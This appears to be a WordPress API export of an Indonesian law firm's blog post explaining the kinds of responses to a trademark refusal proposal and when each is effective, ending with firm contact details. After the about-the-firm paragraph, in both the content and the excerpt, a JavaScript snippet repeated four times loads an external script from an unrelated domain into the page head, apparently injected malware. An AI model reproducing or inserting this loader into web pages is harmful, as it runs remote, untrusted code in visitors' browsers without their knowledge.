{"id":6027,"date":"2026-02-07T11:07:09","date_gmt":"2026-02-07T11:07:09","guid":{"rendered":"https:\/\/affa.co.id\/?p=6019"},"modified":"2026-02-07T11:07:09","modified_gmt":"2026-02-07T11:07:09","slug":"pemeriksaan-tanggapan-atas-usulan-penolakan-mengenal-beragam-jenis-tanggapan-dan-efektivitasnya","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2026\/02\/07\/pemeriksaan-tanggapan-atas-usulan-penolakan-mengenal-beragam-jenis-tanggapan-dan-efektivitasnya\/","title":{"rendered":"Pemeriksaan Tanggapan atas Usulan Penolakan: Mengenal Beragam Jenis Tanggapan dan Efektivitasnya"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Dalam proses pendaftaran Merek di Indonesia, diterbitkannya \u201cUsulan Penolakan\u201d bukanlah akhir dari segalanya. Namun, banyak Pemohon keliru menganggap bahwa setiap tanggapan memiliki peluang yang sama untuk mengubah keputusan Pemeriksa. Faktanya, tidak semua tanggapan diperlakukan sama, dan tidak semua akan diterima.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Artikel ini membahas bagaimana Pemeriksa menilai tanggapan atas usulan penolakan, jenis-jenis tanggapan yang diakui dalam pedoman pemeriksaan, serta kapan suatu tanggapan efektif, dan kapan justru sia-sia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Bagaimana Pemeriksa Menilai Tanggapan Pemohon<\/b><\/p>\n<p><span style=\"font-weight: 400\">Dalam pedoman Pemeriksaan Substantif, tanggapan Pemohon tidak diperiksa secara formalitas semata. Karena Pemeriksa akan:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menelaah kembali dasar usulan penolakan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memeriksa jenis tanggapan yang diajukan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menilai apakah tanggapan tersebut secara hukum dan faktual mampu mengatasi alasan penolakan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengambil keputusan akhir: menerima, menolak, atau menegaskan penolakan.<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400\">Artinya, pemeriksaan tanggapan adalah evaluasi substantif, bukan sekadar konfirmasi administratif.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jenis-Jenis Tanggapan atas Usulan Penolakan<\/b><\/p>\n<p><span style=\"font-weight: 400\">Berdasarkan pedoman pemeriksaan, terdapat beberapa bentuk tanggapan yang lazim diajukan pemohon. Namun, efektivitasnya sangat bergantung pada jenis penolakan yang dihadapi.<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Persetujuan atas Usulan Penolakan<br \/>\n<\/b><span style=\"font-weight: 400\">Ini adalah bentuk tanggapan paling sederhana, namun sering kali paling rasional.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><b><\/b><b><br \/>\nKapan efektif?<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika penolakan didasarkan pada alasan absolut yang jelas (misalnya bertentangan dengan moralitas, menyesatkan, atau merupakan tanda umum).<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika merek jelas tidak memiliki daya pembeda dan tidak mungkin diperbaiki melalui argumentasi.<\/span><\/span>&nbsp;\n<p><b>Kapan menjadi pilihan bijak?<br \/>\n<\/b>Ketika melanjutkan justru hanya menambah biaya dan waktu tanpa peluang realistis untuk lolos.<\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400\"><b>Amandemen atau Melakukan Perubahan Formal<br \/>\n<\/b><span style=\"font-weight: 400\">Amandemen biasanya berupa:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Klarifikasi deskripsi merek.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penyesuaian barang\/jasa.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perbaikan kesalahan administratif.<\/span><\/span>&nbsp;\n<p><b>Kapan efektif?<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika penolakan bersifat formal atau administratif.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika pemeriksa meminta penjelasan atau pembetulan terbatas.<\/span><\/span>&nbsp;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400\"><b>Argumentasi atau Bantahan Tertulis Terhadap Surat Usul Penolakan<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Ini adalah bentuk tanggapan yang paling sering diajukan, dan paling sering gagal jika tidak dilakukan dengan tepat.<\/span><\/span>&nbsp;<\/p>\n<p><b>Kapan efektif?<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika argumentasi langsung menjawab dasar hukum penolakan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika didukung analisis visual, fonetik, dan\/atau konseptual.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika mampu menunjukkan perbedaan nyata pada barang\/jasa yang relevan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika mampu menunjukan jurisprudensi yang bisa dijadikan rujukan.<\/span><\/span>&nbsp;<\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400\"><b>Surat Pernyataan Tidak Keberatan (<\/b><b><i>Letter of Consent<\/i><\/b><b>)<br \/>\n<\/b>Surat ini sering disalahpahami sebagai \u201cjalan pintas\u201d, meskipun terkadang dapat diterima oleh beberapa pemeriksa.<b>Kapan efektif?<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Dalam kasus tertentu penolakan relatif.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika tidak menimbulkan kebingungan publik.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika daya pembeda tetap dinilai cukup.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika pemohon dan pemilik Merek memiliki keterkaitan bisnis (misalnya, antara anak perusahan dengan induk perusahaan).<\/span><\/span>&nbsp;<\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400\"><b>Permintaan Penundaan<br \/>\n<\/b><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Permintaan penundaan dapat diajukan, tetapi bersifat terbatas dan tidak selalu diberikan.<\/span><\/span>&nbsp;<\/p>\n<p><b>Kapan efektif?<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika pemohon membutuhkan waktu untuk menyiapkan dokumen pendukung.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika terdapat proses paralel yang relevan.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Kapan Tanggapan Efektif, Kapan Menjadi Pilihan Bijak?<\/b><\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Kondisi Penolakan<\/b><\/td>\n<td><b>Tanggapan yang Masuk Akal<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Alasan Absolut<\/span><\/td>\n<td><span style=\"font-weight: 400\">Persetujuan Penolakan<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Kesalahan Formal<\/span><\/td>\n<td><span style=\"font-weight: 400\">Amandemen (Lakukan Perubahan)<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Persamaan Terbatas (sebagian)<\/span><\/td>\n<td><span style=\"font-weight: 400\">Argumentasi Hukum Terukur<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Persamaan Kuat<\/span><\/td>\n<td><i><span style=\"font-weight: 400\">Letter of Consent<\/span><\/i><span style=\"font-weight: 400\">, tapi seringnya gagal.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Tanda Umum\/ Deskriptif<\/span><\/td>\n<td><span style=\"font-weight: 400\">Argumentasi hampir selalu sia-sia.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Tanggapan atas usulan penolakan bukan sekadar kewajiban prosedural, melainkan keputusan strategis. Mengajukan tanggapan yang salah bukan hanya gagal mengubah hasil, tetapi juga menghabiskan sumber daya tanpa nilai tambah.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Dalam praktik, keberhasilan bukan ditentukan oleh panjangnya tanggapan, melainkan oleh argumentasi, dasar hukum yang tepat dan jelas, dan alat-alat bukti yang relevan yang disampaikan dalam tanggapan tersebut.<\/span><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait memberikan tanggapan atas usulan penolakan Merek di dalam dan luar negeri, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: <\/span><a href=\"mailto:trademark@affa.co.id\"><span style=\"font-weight: 400\">trademark@affa.co.id<\/span><\/a><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.affa.co.id\"><span style=\"font-weight: 400\">www.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam proses pendaftaran Merek di Indonesia, diterbitkannya \u201cUsulan Penolakan\u201d bukanlah akhir dari segalanya. Namun, banyak Pemohon keliru menganggap bahwa setiap tanggapan memiliki peluang yang sama untuk mengubah keputusan Pemeriksa. Faktanya, tidak semua tanggapan diperlakukan sama, dan tidak semua akan diterima. Artikel ini membahas bagaimana Pemeriksa menilai tanggapan atas usulan penolakan, jenis-jenis tanggapan yang diakui dalam pedoman pemeriksaan, serta kapan suatu tanggapan efektif, dan kapan justru sia-sia. &nbsp; Bagaimana Pemeriksa Menilai Tanggapan Pemohon Dalam pedoman Pemeriksaan Substantif, tanggapan Pemohon tidak diperiksa secara formalitas semata. Karena Pemeriksa akan: Menelaah kembali dasar usulan penolakan. Memeriksa jenis tanggapan yang diajukan. Menilai apakah tanggapan tersebut secara hukum dan faktual mampu mengatasi alasan penolakan. Mengambil keputusan akhir: menerima, menolak, atau menegaskan penolakan. Artinya, pemeriksaan tanggapan adalah evaluasi substantif, bukan sekadar konfirmasi administratif. &nbsp; Jenis-Jenis Tanggapan atas Usulan Penolakan Berdasarkan pedoman pemeriksaan, terdapat beberapa bentuk tanggapan yang lazim diajukan pemohon. Namun, efektivitasnya sangat bergantung pada jenis penolakan yang dihadapi. Persetujuan atas Usulan Penolakan Ini adalah bentuk tanggapan paling sederhana, namun sering kali paling rasional. Kapan efektif? Jika penolakan didasarkan pada alasan absolut yang jelas (misalnya bertentangan dengan moralitas, menyesatkan, atau merupakan tanda umum). Jika merek jelas tidak memiliki daya pembeda dan tidak mungkin diperbaiki melalui argumentasi.&nbsp; Kapan menjadi pilihan bijak? Ketika melanjutkan justru hanya menambah biaya dan waktu tanpa peluang realistis untuk lolos. Amandemen atau Melakukan Perubahan Formal Amandemen biasanya berupa: Klarifikasi deskripsi merek. Penyesuaian barang\/jasa. Perbaikan kesalahan administratif.&nbsp; Kapan efektif? Jika penolakan bersifat formal atau administratif. Jika pemeriksa meminta penjelasan atau pembetulan terbatas.&nbsp; Argumentasi atau Bantahan Tertulis Terhadap Surat Usul Penolakan Ini adalah bentuk tanggapan yang paling sering diajukan, dan paling sering gagal jika tidak dilakukan dengan tepat.&nbsp; Kapan efektif? Jika argumentasi langsung menjawab dasar hukum penolakan. Jika didukung analisis visual, fonetik, dan\/atau konseptual. Jika mampu menunjukkan perbedaan nyata pada barang\/jasa yang relevan. Jika mampu menunjukan jurisprudensi yang bisa dijadikan rujukan.&nbsp; Surat Pernyataan Tidak Keberatan (Letter of Consent) Surat ini sering disalahpahami sebagai \u201cjalan pintas\u201d, meskipun terkadang dapat diterima oleh beberapa pemeriksa.Kapan efektif? Dalam kasus tertentu penolakan relatif. Jika tidak menimbulkan kebingungan publik. Jika daya pembeda tetap dinilai cukup. Jika pemohon dan pemilik Merek memiliki keterkaitan bisnis (misalnya, antara anak perusahan dengan induk perusahaan).&nbsp; Permintaan Penundaan Permintaan penundaan dapat diajukan, tetapi bersifat terbatas dan tidak selalu diberikan.&nbsp; Kapan efektif? Jika pemohon membutuhkan waktu untuk menyiapkan dokumen pendukung. Jika terdapat proses paralel yang relevan. &nbsp; Kapan Tanggapan Efektif, Kapan Menjadi Pilihan Bijak? Kondisi Penolakan Tanggapan yang Masuk Akal Alasan Absolut Persetujuan Penolakan Kesalahan Formal Amandemen (Lakukan Perubahan) Persamaan Terbatas (sebagian) Argumentasi Hukum Terukur Persamaan Kuat Letter of Consent, tapi seringnya gagal. Tanda Umum\/ Deskriptif Argumentasi hampir selalu sia-sia. &nbsp; Tanggapan atas usulan penolakan bukan sekadar kewajiban prosedural, melainkan keputusan strategis. Mengajukan tanggapan yang salah bukan hanya gagal mengubah hasil, tetapi juga menghabiskan sumber daya tanpa nilai tambah. Dalam praktik, keberhasilan bukan ditentukan oleh panjangnya tanggapan, melainkan oleh argumentasi, dasar hukum yang tepat dan jelas, dan alat-alat bukti yang relevan yang disampaikan dalam tanggapan tersebut. Jika Anda membutuhkan informasi lebih lanjut terkait memberikan tanggapan atas usulan penolakan Merek di dalam dan luar negeri, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : trademark@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6066,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[309,310,314,315,317,318,319,609,610,618,619,298,620,305,637,306,307,308],"class_list":["post-6027","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-djki","tag-indonesia-trademark-registration","tag-overseas-trademark","tag-indonesia-copyright-registration","tag-indonesia-industrial-design-registration","tag-merek","tag-indonesia-patent-registration","tag-affa","tag-usulan-penolakan","tag-affa-ipr","tag-intellectual-property","tag-ip"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6027","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6027"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6027\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6066"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6027"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6027"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6027"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}